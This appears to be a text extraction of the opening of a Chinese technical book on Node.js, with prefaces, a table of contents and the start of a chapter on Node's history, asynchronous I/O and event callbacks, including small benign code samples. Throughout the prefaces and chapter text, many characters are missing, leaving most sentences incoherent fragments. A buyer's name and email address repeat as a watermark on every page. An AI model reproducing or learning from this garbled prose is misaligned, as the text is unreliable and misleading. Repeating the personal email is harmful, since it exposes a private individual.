深入浅出node.js

pppp0415

贡献于2018-03-26

字数:0 关键词: Node.js 开发

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 图灵社区的电子书没有采用专有客 户端,您可以在任意设备上,用自 己喜欢的浏览器和PDF阅读器进行 阅读。 但您购买的电子书仅供您个人使 用,未经授权,不得进行传播。 我们愿意相信读者具有这样的良知 和觉悟,与我们共同保护知识产 权。 如果购买者有侵权行为,我们可能 对该用户实施包括但不限于关闭该 帐号等维权措施,并可能追究法律 责任。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 内 容 提 要 本书从不同的视角介绍了 Node 内在的特点和结构。由首章 Node 介绍为索引,涉及 Node 的各个方面, 主要内容包含模块机制的揭示、异步 I/O 实现原理的展现、异步编程的探讨、内存控制的介绍、二进制数 据 Buffer 的细节、Node 中的网络编程基础、Node 中的 Web 开发、进程间的消息传递、Node 测试以及通过 Node 构建产品需要的注意事项。最后的附录介绍了 Node 的安装、调试、编码规范和 NPM 仓库等事宜。 本书适合想深入了解 Node 的人员阅读。 定价:69.00元 读者服务热线:(010)51095186转600 印装质量热线:(010)81055316 反盗版热线:(010)81055315 广告经营许可证:京崇工商广字第 0021 号 编  著 朴 灵 责任编辑 王军花 执行编辑 董苗苗 责任印制 焦志炜 人民邮电出版社出版发行  北京市丰台区成寿寺路11号 邮编 100164  电子邮件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn 北京      印刷 开本:800×1000 1/16 印张:21.75 字数:514千字 2013年 12 月第 1 版 印数:1 — 4 000册 2013年 12 月北京第 1 次印刷 ◆ ◆ ◆ 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 错误!文档中没有指定样式的文字。 1 1 2 3 5 7 10 12 8 9 4 6 11 序一 没有用过 Node 的人,是不会相信仅凭 JavaScript 这门活跃于网页编程的脚本语言就可以驱 动后端复杂的应用程序,也不会相信 Node 在开发高并发、高性能后端服务程序上也有着极大的 优势。 我们在 2010 年接触 Node 的时候,国内外了解 Node 的人寥寥可数,2011 年我们已经决定在 淘宝的部分生产系统中开始使用 Node。由于招募熟悉 Node 的人才是个大问题,为了树立技术品 牌,我们在 2011 年年初创办 CNode 开源技术社区(CNodeJS.org),没有想到一发不可收拾。从 2011 年 4 月开始,我们走遍北京、上海、广州、深圳、杭州,甚至还到了香港,发起并且组织了 多次 NodeParty 线下技术分享。为了弥补初学者没有 Node 托管环境学习测试的问题,我们还自 己研发了 Node App Engine。Node 在国内深入人心,我相信与 CNode 社区有着不小的关系。 最初,Node 的爱好者大都是些喜欢探索新技术的极客。在社区,我们也认识了很多天南海 北的朋友,包括朴灵。在一次上海 Node 技术分享会后,我邀请他加入了淘宝。他在淘宝工作之 余继续为社区作贡献,自发为 Node 的推广做了很多事情,包括今天他呕心写了这本书,我相信 这是目前质量最高的一本 Node 图书。因为中国没有几个人像朴灵一样,有机会在很多高并发的 应用场景中反复实践。这绝对是一本实践性极强的技术书,不管是否学习过 Node,只要你爱好 技术,都推荐你阅读它。 空无 CNode 社区创始人 阿里巴巴数据平台事业部数据交换平台总监 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 错误!文档中没有指定样式的文字。 1 1 2 3 5 7 10 12 8 9 4 6 11 序 Node 生于 2009 年,天才的屌年 Ryan Dahl 用了 Google 的 V8 了于事 环实的 I/O 。也 Ryan 时 JavaScript 作为服务开发语言,只是因为 V8 的 性能他脚本语言,是这为 Node 的极要的因。不仅仅是 JavaScript 大 的用,要的是 JavaScript 之前没有 I/O ,这使 Node 在开发 I/O 时不会像 EventMachine、Twisted 样因与 I/O 用问题。 几年的时,Node 了大的。在开源社区 GitHub 上,Node 高。express、 socket.io 这样的优都有着极高的,NPM 上的数量下量也人。可喜的 是,国内的 Node 社区也生了多优的开源目,中 node-webkit、pomelo 在国开源社 区中都产生了一定的。 在,Node 的应用也广。LinkedIn 的动已经部从 Ruby 到 Node, 机数量为的分之一。像 Yahoo、Microsoft 这样的大,有好多应用已经到 Node 了。国内的、网、、新、的很多线上产品也用 Node 开 发,并了很好的。 朴灵是国内最的 Node 开发者之一,不仅组织了 CNode 社区,在 InfoQ 发的深入 Node.js系是对国内的 Node 社区产生了大的。我在 2011 年初次接触 Node 的时候,了国外的几个,本上没有 Node 相关的图书,最我深的, 问是朴灵的深入 Node.js系。是这一系,使我们好解、学习 Node 后,开发了 pomelo ,也定了朴灵在国内 Node 的。 今年过了,国内外的 Node 图书也了不。国内的几本书有,使国外的 几本很大的书也没有我有动读书,因为内上没有大深,对于有开发 经的 Node 开发者不是很大。不过朴灵我这本书时,我收多。相他 Node 图书的作者,他在淘宝一线的开发经使这本书有深,他年的景这本书 读起极,他的研这本书在上很有深。,朴灵在上自一个 能定数的人还不是的,在 4 中,他了 Node 的数 过深的解决, EventProxy、Promise、async、step、wind.js 解决都有深入 解。外,朴灵还是 EventProxy 的作者,在这有最的实践经。 朴灵是国内 Node 的一,了一系,他还在国组织了 NodeParty JSConf China(2012 年的 JS 2013 年的京 JS),并且在上以的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2 Node。在个技术大会上,我们都可以到朴灵的。强的是,朴灵在次大会上做的 很,他是能 Node 的,后很认,以的解 接。 因,朴灵要写这本书时,我们都很。能他问,这是国 内一的 Node 图书。今,经过一年多的,你们于有机会到朴灵这一年多动的 了。 pomelo 创始人 2013 7 8 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 1 1 2 3 5 7 10 12 8 9 4 6 11 2006 年至今,我们时可以到 JavaScript 的新,开始只是 JavaScript 性能的, 到后发很多是自 HTML5 Node 创的。只,很人这是一 。这人不可信,以了以下本的解。 Node 定是几个前端工程在实的。 为了后端后端,有 发了一门新语言 JavaScript 的了。 上,JavaScript 不应在后端。 前端工程要了。 一,大到 JavaScript 在个,他语言的开发者它的, 心它对前从事的语言一,人们还是有 JavaScript 只能做前端脚本的 定势。因,还是因为人们次上的认,以会产生一些有的 不。 1995 年,JavaScript 网景发的 Netscape Navigator 2.0 发,它最为 LiveScript, 后为 JavaScript。它自今的 Mozilla 的 CTO——Brendan Eich 之,产生源于 网景发的 Netscape Navigator 要一脚本语言做一些的动 作。时网景与 Sun 作,不技术的管到一个 Java 的脚本语言, 以能像 Java 一样。Brendan Eich 本入网景是做 Scheme 语言的开发,是 接到了一个不喜欢的务,于时势,不不事,于是 JavaScript 之在 10 天的时 了 JavaScript 的,时的目是 Mocha, LiveScript。 这门语言了起像 Java 外,本质与 Java 语言相甚,管的 Java Script 实 了 C、Scheme、Self、Java 的。管,是这门语言还是了他语言的不优 ,数、继。于 Java 下的这门语言了它最的JavaScript。 至今,还有多人分不 Java 与 JavaScript 的关系,就像分不与一样。 JavaScript 的产生与 Netscape Navigator 的有关系,它并只是用 于前端的。在 1994 年,网景就了 Netscape Enterprise Server 中的一服务 端脚本实,它的 LiveWire,是最的服务端 JavaScript,甚至于中的 JavaScript 。对于这门图灵的语言,网景就开始试它用在后端。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2 后,在一次大时,于1996年发的IE 3.0中也包了它的脚本语言JScript。 于的因,它 JScript,是与 JavaScript 。在 1997 年年初,在它的服务 IIS 3.0 中也包了 JScript,这就是我们在 ASP 中能使用的脚本语言。于与网景相对, 于自己的目的,网景推了 JavaScript 的程,于 1996 年 11 月 JavaScript ECMA 国组织,在 1997 年 7 月了一个本,是为 ECMA-262 , ECMAScript。 可以到,JavaScript 一就能在前后端,,在前后端自的不相 。着 Java、PHP、.NET 服务端技术的,与前端中的 JavaScript 要 相,服务端 JavaScript 。只下 Rhino、SpiderMonkey 用于工。 ,这个是的。一次大后的 JavaScript 的有些, 在生一些。Google 对 Ajax 的应用 JavaScript 要。Firefox 的发起了对 IE 的反,了次大, JavaScript 的性能不,Chrome 的加入它 高。CommonJS 的,不在 JavaScript。ECMAScript 的不推,语 言加,不。 端 JavaScript 在 Web 应用中,甚至人们了 JavaScript 可以在服务端 这事。是,服务端 JavaScript 在了,因为 Node 生了。Node 的生不开上的 机,服务端 JavaScript 在的中下, Node 新这个 活。Ryan Dahl 于对高性能 Web 服务的探索,了服务端 JavaScript 的 一新。Node 凭 V8 的高性能 I/O JavaScript 新推了一个高。在,Node 不 仅 JavaScript 时在前后端,且性能还分高。与统中的不,它甚至可 于前的高脚本语言。 的反应还在继续,前后端要语言开发的已经开始,因为语言的不,开 发者的分工也了分前端工程后端工程。技能因为分工,也技能 为,前端工程不能后端开发,后端工程不定前端开发,树立的。 Node 的这分工的开始了。时一些后端工程也关到 Node,他们甚至不 关心前后端语言是否一,是对 Node 高性能的,实时、高并发。 大量的前后端工程加入了 Node 的开发,GitHub 上 JavaScript 是最活跃的开发语言, NPM 社区的下量都着这个过程不可,在这一能的 NPM,能到你要的解决。很多不的目创都因为 Node 前端开发能用 一语言。言之,Node 的本是一个高性能的网的, 了 JavaScript 社区的,并强大的生系统。 目前,还没有一本书 Node 自,大多在 Node 者、的使用 上,本书从不的 Node 自己内在的。也你已经用过 Node 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 3 1 2 3 5 7 10 12 8 9 4 6 11 相关的开发,在使用了 Node 的喜后,还能在阅读本书时,发一, Node 是 这样的,这就是本书的。 对于 Node 初学者,目前上也已经有 Node 相关的入门书,它们可以你入 Node 开发之。在了解了这些本过程后,想了解多 Node 识的好心,会你阅读本 书的。 本书并序, 2 是从组织 Node, 3 是从 Node, 4 是从编程 Node, 5 是 Node 中内的, 6 的是 Node 中的数在 I/O 中的, 7 是 Node 在网服务的, 8 是 Node 在 HTTP 上的, 9 了 Node 的机, 10 是从测试性 能测试的关 Node, 11 已经了 Node 编的,是在产品的 Node,也会有收。 下是的。 1 这一要了 Node,从中可以了解 Node 的发程的。 2 这一了 Node 的机,从中可以了解到 Node 是实 CommonJS 包的。在这一中,我们解了在用过程中的编、加。外,我们 还能读到深的关于 Node 自源的组织。 3 这一了在 Node 中我们 I/O 作为要的因。外,还会 到 I/O 的实过程。 4 这一要编程,中有的编程问题,也有的解决。 在这一中,我们可以接触到 Promise、事、高数是程的。 5 这一要了 Node 中的内,要内有收、内、内 、内、大内应用。 6 这一了前端 JavaScript 不能到的 Buffer。由 于 Node 中会的网 I/O,数会是很的为,这部分场景与的前端开发不。 7 这一了 Node 的 TCP、UDP、HTTP 编程,还了 WebSocket 与 TLS、 HTTPS 的。 8 这一了 Web 应用的过程中用到的大多数技术,数、由、 MVC、、RESTful 9 这一了 Node 的多程技术,以多程的应用的可用 性性能。 10 这一了 Node 的测试性能测试技。 11 者,产品开发的编写后,才了目的一。这一 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 4 了 Node 产品要到的,目工程、部、、性能、 、定性、。 A了 Node 的。 B了 Node 的试技。 C探了实践多人作过程中要关的编问题,它可以很好一 些的、的。 D作为开发者,关的管。在这一中,我们了 过有 NPM 解决的问题。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 错误!文档中没有指定样式的文字。 1 1 2 3 5 7 10 12 8 9 4 6 11 这本书的产过程实不在之中。最到我的海初还在图灵, 还是 2011 年的时候,作为 Node 发友,我实是极心的,因为我了作为前端工程 有的 JavaScript 识外,只有学习 Node 的情,时我分动,后绝了 的邀请。 后,在 CNode 社区到我的用 Node.js 你的服务后,邀 请我加入他在 InfoQ 上开的深入 Node.js,于对写作的,我也绝了 的邀请。后以写只要个月写,写书的由服我,我 在心中了,可以自己的学习经写,学写,前前后后大可以写多 ,于是应了。在后的大年时,我在 InfoQ 上发了 7 。可 能是小,在 Node 创书作者的过程中经过一从的推荐下到了 我这。因为心中已经有些目,自己想要些,加上加入数数产 品部门(EDP)从事 Node 开发后,的都分我,这使 之中由我,于是应了这本书的写作。 ,这只是的开始,管天接触的还是 JavaScript 语言,实上已经从前端 入了后端,我的识不以这本书的写作。的过程是相的, 很有人喜欢试已有的习,我还要在这个上我还不熟悉的新分享 ,要没有,这是写作高多的,为我次有上了的。上, 因为 Node 是 JavaScript 语言,以前端工程它是相对的,是事实上,者 ,熟悉 JavaScript 只是我了,在个程中,还有要,这就是 与实之的。 经了、以因为没能 iPad ,最了这本书的 内。与大多数 Node 的书不,这些内的写作过程就是我自己学习 Node 的过程,这个 过程了的收,一的都不相,都是 Node。我在这个 过程中了自己在作系统、网的识补,的过程是喜的,过因为 前后端语言的不分的识,因为 Node 新组接起,这大就是 到的connecting the dots。写这本书时,我前端工程的已经, 且认为是对我过程的认可。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2 最后,本书的, CNode 社区的朋友们宝, EDP 部门我最好的环境,这本书。 想不到经以年自的我,以这样的了一本书的写作,在之外, 也在之中。这本书也不能用,这献我的,没有的,不可能在 这本书。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 目 录 1 1 Node ...........................................1 1.1 Node 的诞生历程.......................................1 1.2 Node 的命名与起源...................................1 1.2.1 为什么是JavaScript.......................2 1.2.2 为什么叫Node...............................2 1.3 Node 给 JavaScript 带来的意义.................2 1.4 Node 的特点 ..............................................4 1.4.1 异步I/O..........................................4 1.4.2 事件与回调函数.............................6 1.4.3 单线程............................................7 1.4.4 跨平台............................................7 1.5 Node 的应用场景.......................................8 1.5.1 I/O 密集型......................................8 1.5.2 是否不擅长CPU 密集型业务 ........8 1.5.3 与遗留系统和平共处...................10 1.5.4 分布式应用..................................10 1.6 Node 的使用者.........................................10 1.7 参考资源..................................................11 2 ............................................12 2.1 CommonJS 规范.......................................13 2.1.1 CommonJS 的出发点 ...................13 2.1.2 CommonJS 的模块规范................14 2.2 Node 的模块实现.....................................15 2.2.1 优先从缓存加载...........................16 2.2.2 路径分析和文件定位...................16 2.2.3 模块编译......................................18 2.3 核心模块..................................................20 2.3.1 JavaScript 核心模块的编译 过程..............................................21 2.3.2 C/C++核心模块的编译过程.........22 2.3.3 核心模块的引入流程...................25 2.3.4 编写核心模块..............................25 2.4 C/C++扩展模块.......................................27 2.4.1 前提条件......................................28 2.4.2 C/C++扩展模块的编写................29 2.4.3 C/C++扩展模块的编译................30 2.4.4 C/C++扩展模块的加载................31 2.5 模块调用栈..............................................32 2.6 包与NPM................................................33 2.6.1 包结构..........................................34 2.6.2 包描述文件与NPM .....................34 2.6.3 NPM 常用功能.............................37 2.6.4 局域NPM ....................................42 2.6.5 NPM 潜在问题.............................43 2.7 前后端共用模块......................................44 2.7.1 模块的侧重点..............................44 2.7.2 AMD 规范....................................44 2.7.3 CMD 规范 ....................................45 2.7.4 兼容多种模块规范.......................45 2.8 总结.........................................................46 2.9 参考资源..................................................46 3 I/O .............................................47 3.1 为什么要异步I/O....................................47 3.1.1 用户体验......................................48 3.1.2 资源分配......................................49 3.2 异步I/O 实现现状...................................50 3.2.1 异步I/O 与非阻塞 I/O .................50 3.2.2 理想的非阻塞异步I/O.................54 3.2.3 现实的异步I/O............................54 3.3 Node 的异步 I/O......................................56 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2 目 录 3.3.1 事件循环......................................56 3.3.2 观察者..........................................56 3.3.3 请求对象......................................57 3.3.4 执行回调......................................59 3.3.5 小结..............................................60 3.4 非I/O 的异步 API ...................................60 3.4.1 定时器..........................................60 3.4.2 process.nextTick()......................61 3.4.3 setImmediate().............................62 3.5 事件驱动与高性能服务器.......................63 3.6 总结.........................................................65 3.7 参考资源.................................................65 4 ............................................66 4.1 函数式编程..............................................66 4.1.1 高阶函数......................................66 4.1.2 偏函数用法..................................67 4.2 异步编程的优势与难点...........................68 4.2.1 优势..............................................69 4.2.2 难点..............................................70 4.3 异步编程解决方案..................................74 4.3.1 事件发布/订阅模式......................74 4.3.2 Promise/Deferred 模式.................82 4.3.3 流程控制库..................................93 4.4 异步并发控制........................................105 4.4.1 bagpipe 的解决方案...................105 4.4.2 async 的解决方案 ......................109 4.5 总结.......................................................110 4.6 参考资源...............................................110 5 ..........................................111 5.1 V8 的垃圾回收机制与内存限制 ...........111 5.1.1 Node 与 V8.................................112 5.1.2 V8 的内存限制...........................112 5.1.3 V8 的对象分配...........................112 5.1.4 V8 的垃圾回收机制...................113 5.1.5 查看垃圾回收日志.....................119 5.2 高效使用内存........................................121 5.2.1 作用域........................................121 5.2.2 闭包............................................123 5.2.3 小结............................................124 5.3 内存指标............................................... 124 5.3.1 查看内存使用情况.................... 124 5.3.2 堆外内存.................................... 126 5.3.3 小结........................................... 127 5.4 内存泄漏............................................... 127 5.4.1 慎将内存当做缓存.................... 127 5.4.2 关注队列状态............................ 130 5.5 内存泄漏排查........................................ 130 5.5.1 node-heapdump.......................... 131 5.5.2 node-memwatch ......................... 132 5.5.3 小结........................................... 135 5.6 大内存应用........................................... 135 5.7 总结....................................................... 136 5.8 参考资源............................................... 136 6 Buffer ..................................... 137 6.1 Buffer 结构............................................ 137 6.1.1 模块结构.................................... 137 6.1.2 Buffer 对象 ................................ 138 6.1.3 Buffer 内存分配......................... 139 6.2 Buffer 的转换 ........................................ 141 6.2.1 字符串转Buffer......................... 141 6.2.2 Buffer 转字符串......................... 142 6.2.3 Buffer 不支持的编码类型 ......... 142 6.3 Buffer 的拼接 ........................................ 143 6.3.1 乱码是如何产生的.................... 144 6.3.2 setEncoding()与 string_ decoder()................................... 144 6.3.3 正确拼接Buffer......................... 145 6.4 Buffer 与性能 ........................................ 146 6.5 总结....................................................... 149 6.6 参考资源............................................... 149 7 ......................................... 150 7.1 构建TCP 服务 ...................................... 150 7.1.1 TCP............................................ 150 7.1.2 创建TCP 服务器端 ................... 151 7.1.3 TCP 服务的事件........................ 153 7.2 构建UDP 服务...................................... 154 7.2.1 创建UDP 套接字 ...................... 154 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 目 录 3 7.2.2 创建UDP 服务器端 ...................154 7.2.3 创建UDP 客户端.......................155 7.2.4 UDP 套接字事件........................155 7.3 构建HTTP 服务 ....................................155 7.3.1 HTTP..........................................156 7.3.2 http 模块....................................157 7.3.3 HTTP 客户端..............................161 7.4 构建WebSocket 服务 ............................163 7.4.1 WebSocket 握手 .........................164 7.4.2 WebSocket 数据传输..................167 7.4.3 小结............................................169 7.5 网络服务与安全....................................169 7.5.1 TLS/SSL.....................................170 7.5.2 TLS 服务 ....................................172 7.5.3 HTTPS 服务 ...............................173 7.6 总结.......................................................175 7.7 参考资源................................................176 8 Web ...............................177 8.1 基础功能................................................177 8.1.1 请求方法....................................178 8.1.2 路径解析....................................179 8.1.3 查询字符串................................180 8.1.4 Cookie ........................................181 8.1.5 Session........................................184 8.1.6 缓存............................................190 8.1.7 Basic 认证 ..................................193 8.2 数据上传................................................195 8.2.1 表单数据....................................195 8.2.2 其他格式....................................196 8.2.3 附件上传....................................197 8.2.4 数据上传与安全.........................199 8.3 路由解析................................................201 8.3.1 文件路径型................................202 8.3.2 MVC...........................................202 8.3.3 RESTful......................................207 8.4 中间件....................................................210 8.4.1 异常处理....................................214 8.4.2 中间件与性能.............................215 8.4.3 小结............................................216 8.5 页面渲染................................................217 8.5.1 内容响应....................................217 8.5.2 视图渲染....................................219 8.5.3 模板............................................220 8.5.4 Bigpipe.......................................231 8.6 总结.......................................................235 8.7 参考资源................................................235 9 ..........................................236 9.1 服务模型的变迁....................................236 9.1.1 石器时代:同步.........................236 9.1.2 青铜时代:复制进程.................237 9.1.3 白银时代:多线程.....................237 9.1.4 黄金时代:事件驱动.................237 9.2 多进程架构............................................238 9.2.1 创建子进程................................239 9.2.2 进程间通信................................240 9.2.3 句柄传递....................................242 9.2.4 小结............................................247 9.3 集群稳定之路........................................248 9.3.1 进程事件....................................248 9.3.2 自动重启....................................249 9.3.3 负载均衡....................................254 9.3.4 状态共享....................................255 9.4 Cluster 模块 ...........................................257 9.4.1 Cluster 工作原理........................258 9.4.2 Cluster 事件................................259 9.5 总结.......................................................259 9.6 参考资源................................................260 10 ................................................261 10.1 单元测试..............................................261 10.1.1 单元测试的意义.....................261 10.1.2 单元测试介绍.........................263 10.1.3 工程化与自动化.....................276 10.1.4 小结........................................277 10.2 性能测试..............................................278 10.2.1 基准测试................................278 10.2.2 压力测试................................280 10.2.3 基准测试驱动开发.................281 10.2.4 测试数据与业务数据的转换...283 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 4 目 录 10.3 总结.....................................................284 10.4 参考资源..............................................284 11 ............................................285 11.1 项目工程化..........................................285 11.1.1 目录结构................................285 11.1.2 构建工具................................286 11.1.3 编码规范................................289 11.1.4 代码审查................................289 11.2 部署流程..............................................290 11.2.1 部署环境................................291 11.2.2 部署操作................................291 11.3 性能.....................................................293 11.3.1 动静分离................................293 11.3.2 启用缓存................................294 11.3.3 多进程架构............................294 11.3.4 读写分离................................295 11.4 日志.....................................................295 11.4.1 访问日志................................295 11.4.2 异常日志................................296 11.4.3 日志与数据库........................299 11.4.4 分割日志................................299 11.4.5 小结........................................299 11.5 监控报警..............................................299 11.5.1 监控........................................300 11.5.2 报警的实现............................302 11.5.3 监控系统的稳定性.................303 11.6 稳定性.................................................303 11.7 异构共存..............................................304 11.8 总结.....................................................305 11.9 参考资源..............................................305 ANode .......................................306 A.1 Windows 系统下的 Node 安装 .............306 A.2 Mac 系统下 Node 的安装 .....................307 A.3 Linux 系统下 Node 的安装...................308 A.4 总结......................................................309 A.5 参考资源...............................................309 BNode ................................ 310 B.1 Debugger............................................... 310 B.2 Node Inspector...................................... 311 B.2.1 安装Node Inspector................. 312 B.2.2 错误堆栈.................................. 312 B.3 总结...................................................... 313 C Node ............................... 314 C.1 根源...................................................... 314 C.2 编码规范............................................... 315 C.2.1 空格与格式.............................. 315 C.2.2 命名规范.................................. 317 C.2.3 比较操作.................................. 318 C.2.4 字面量...................................... 318 C.2.5 作用域...................................... 318 C.2.6 数组与对象.............................. 319 C.2.7 异步.......................................... 320 C.2.8 类与模块.................................. 320 C.2.9 注解规范.................................. 321 C.3 最佳实践............................................... 321 C.3.1 冲突的解决原则....................... 321 C.3.2 给编辑器设置检测工具........... 321 C.3.3 版本控制中的hook.................. 322 C.3.4 持续集成.................................. 322 C.4 总结...................................................... 322 C.5 参考资源............................................... 323 DNPM ...................... 324 D.1 NPM 仓库的安装.................................. 325 D.1.1 安装Erlang 和 CouchDB ......... 325 D.1.2 搭建NPM 仓库........................ 326 D.2 高阶应用.............................................. 328 D.2.1 镜像仓库.................................. 328 D.2.2 私有模块应用.......................... 328 D.2.3 纯私有仓库.............................. 329 D.3 总结...................................................... 331 D.4 参考资源.............................................. 332 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 1.2 Node 的 1 1 2 3 4 5 11 6 7 8 9 10 Node Node应是今最的技术了,从本开始,我们它的多。 1.1 Node Node的生程下。 2009年3月,Ryan Dahl在客上于V8创一个量的Web服务并一 。 2009年5月,Ryan Dahl在GitHub上发了最初的本。 2009年12月2010年4月,JSConf大会都了Node的。 2010年年,Node服务Joyent的,创始人Ryan Dahl加入 JoyentNode的发。 2011年7月,Node在的下发了Windows本。 2011年11月,NodeRuby on Rails,为GitHub上关最高的目(后Bootstrap 目,目前)。 2012年1月,Ryan Dahl在对Node的情下,门人的Isaac Z. Schlueter,自己一些研目。Isaac Z. Schlueter是Node的包管NPM的作者,之 后Node的本发bug复工作由他接。 至者之(2013年7月13),发 的 Node定为v0.10.13,定为v0.11.4, NPM的数到34 943个,的下量为1479次。 后,Node的发要中在性能上,在v0.14之后,发v1.0本。 1.2 Node 在Node的网(http://nodejs.org)之 外 ,Node有很多Nodejs、NodeJS、Node.js 。本书在写作过程中的,会一使用Node这个,是在前语境之外, 为了与余的技术相区,可以上.js它是Node。在到这些时, 第1章 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 21 Node 应识到,它们的是一事。了本书的会用到Node.js外,余都会以 Node作为。 Node的由,实它的起源是有关系的。 1.2.1 JavaScript Ryan Dahl是一深的C/C++程序,在创Node之前,他的要工作都是高性能 Web服务的。经过一些试之后,他到了高性能,Web服务的几个要 事驱动、I/O。 以Ryan Dahl最初的目是写一个于事驱动、I/O的Web服务,以到高的 性能,Apache服务之外的。他到,大多数人不一有的程序 的要因是他们用到了I/O的。写作Node的时候,Ryan Dahl经过C、Lua、Haskell、 Ruby语言作为实,为C的开发门高,可以不会有多的开发者能它用于 的务开发,以它Ryan Dahl自己还不Haskell,以它Lua自 已经有很多I/O,为I/O也不能人们继续使用I/O的习,以 也它Ruby的机由于性能不好。 相之下,JavaScriptC的开发门要,Lua的包要。管服务端JavaScript 在已经很多年了,是后端部分一没有场,可以包为,为入I/O 没有外。外,JavaScript在中有广的事驱动的应用,Ryan Dahl喜好 于事驱动的。时,次大也分高下,Chrome的JavaScript V8性能一的,且于新BSD可发,自到Ryan Dahl的欢。到 高性能、事驱动、没有包这个要因,JavaScript为了Node的实语言。 1.2.2 Node 起初,Ryan Dahl他的目为web.js,就是一个Web服务,是目的发过了他最初 开发一个Web服务的想,了网应用的一个,这样可以在它的上 多的,服务、客端、工。Node发为一个强不享源的 线程、程系统,包分网的,为大分应用程序,目 也是为一个、可的网应用。它自,过信组织多 Node,过大网应用的目的。一个Node程都这个网应 用中的一个,这是它的。 1.3 Node JavaScript V8Chrome了一个强的心,使它在大中,也使Ryan Dahl在语言中为JavaScript加了一个极大的。这我们要NodeJavaScript 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 1.3 Node JavaScript 的 3 1 2 3 4 5 11 6 7 8 9 10 的一个新。于Node之前些不的后端JavaScript实,在性能编程 没能到与他语言一高下的程,这开不,Node与的对。 ChromeNode的组图1-1。我们中了V8作为JavaScript 外,还有一个WebKit。 HTML5在发过程中定了多的API。在实上, 了多的能JavaScriptHTML。这个景好,对于前端的 发言,HTML5统一的过程是相对的。JavaScript作为一门图灵的语言, 以在的中,它的能决于中的有多。 图1-1 ChromeNode的组 了HTML、WebKit这些UI相关技术没有外,Node的与Chrome分相。 它们都是于事驱动的,过事驱动服务上的,Node过事驱 动服务I/O,这个在3中。在Node中,JavaScript可以心问本, 可以WebSocket服务端,可以接数,可以Web Workers一样多程。今, JavaScript可以在不的,不继续在中与CSS样、DOM树。 HTTP是,Node就是在一的。Node不UI,用与 相的机。Node了过JavaScript只能在中的。前后端编程 环境统一,可以大大前后端要的上下。 对于前端工程言,自己熟悉的JavaScript今可以在一个,不 他因,仅仅因为好,就关探它。 Node的JavaScript的总无的。社区 node-webkit样的2012的JS。文 的的node-webkit中Node中的事 WebKit的事HTMLCSS的UI 的。的 HTMLCSSJavaScript。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 41 Node 1.4 Node 作为后端JavaScript的,Node了前端JavaScript中些熟悉的接,没有 写语言本的性,于作用,区在于它前端中广用的想 到了服务端。下我们Node相他语言的一些。 1.4.1 I/O 关于I/O,前端工程解起会一些,因为发起Ajax用对于前端工程 言是熟悉不过的场景了。下的用于发起一个Ajax请 $.post('/url', {title: '入出Node.js'}, function (data) { console.log('收响应'); }); console.log('发Ajax结'); 熟悉的用,收到应是在发Ajax之后的。在用$.post() 后,后续是立的,收到应的时是不的。我们只它在这 个请后,并不的时。用中对于的是Don’t call me, I will call you的的,这也是,不关心过程的一。图1-2是一个经 的Ajax用。 图1-2 经的Ajax用 在Node中,I/O也很。以读为,我们可以到它与前端Ajax用的是 极的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 1.4 Node 的 5 1 2 3 4 5 11 6 7 8 9 10 var fs = require('fs'); fs.readFile('/path', function (err, file) { console.log('读文件成') }); console.log('发读文件'); 这的发起读是在读之前的。样,读的 也决于读的用时。图1-3是一个经的用。 图1-3 经的用 在Node中,绝大多数的作都以的用。Ryan Dahl,在了 很多I/O的API,从读到网请,是。这样的在于,在Node中,我们可 以从语言很自并I/O作。个用之之前的I/O用。在编程 上可以极大。 下的个读务的时决于最的个读的时 fs.readFile('/path1', function (err, file) { console.log('读文件1成'); }); fs.readFile('/path2', function (err, file) { console.log('读文件2成'); }); 对于I/O言,它们的时是个务的时之。这的优势是 的。 关于I/O是的本的机实,我们在3中。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 61 Node 1.4.2 着Web 2.0时的到,JavaScript在前端了多的,事也到了广的应用。 Node不像Rhino样Java的很大,是前端中应用广且熟的事入后端, I/O,事务。 下的的是Ajax的服务端过程。Node创一个Web服务,并 8080端。对于服务,我们为定了request事,对于请对,我们为定了data事 end事 var http = require('http'); var querystring = require('querystring'); // 服务器的request事件 http.createServer(function (req, res) { var postData = ''; req.setEncoding('utf8'); // 请求的data事件 req.on('data', function (trunk) { postData += trunk; }); // 请求的end事件 req.on('end', function () { res.end(postData); }); }).listen(8080); console.log('服务器启动成'); 相应,我们在前端为Ajax请定了success事,在发请后,只关心请时 相应的务可,相关下 $.ajax({ 'url': '/url', 'method': 'POST', 'data': {}, 'success': function (data) { // success事件 } }); 相之下,在前端还是后端,事都是用的。对于他语言,这拾是 JavaScript的熟悉是本不会的。 事的编程有量、、只关事务优势,是在多个务的场景下, 事与事之自立,作是一个问题。 从前可以到,数不在。这是因为在JavaScript中,我们数作为一 对,可以数作为对作为实用。 与他的Web后端编程语言相,Node了事外,数是一大。下, 数也是最好的接用数的。是这编程对于很多习编 程的人,也是分不习的。的编写序与序并关系,这对他们可能阅 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 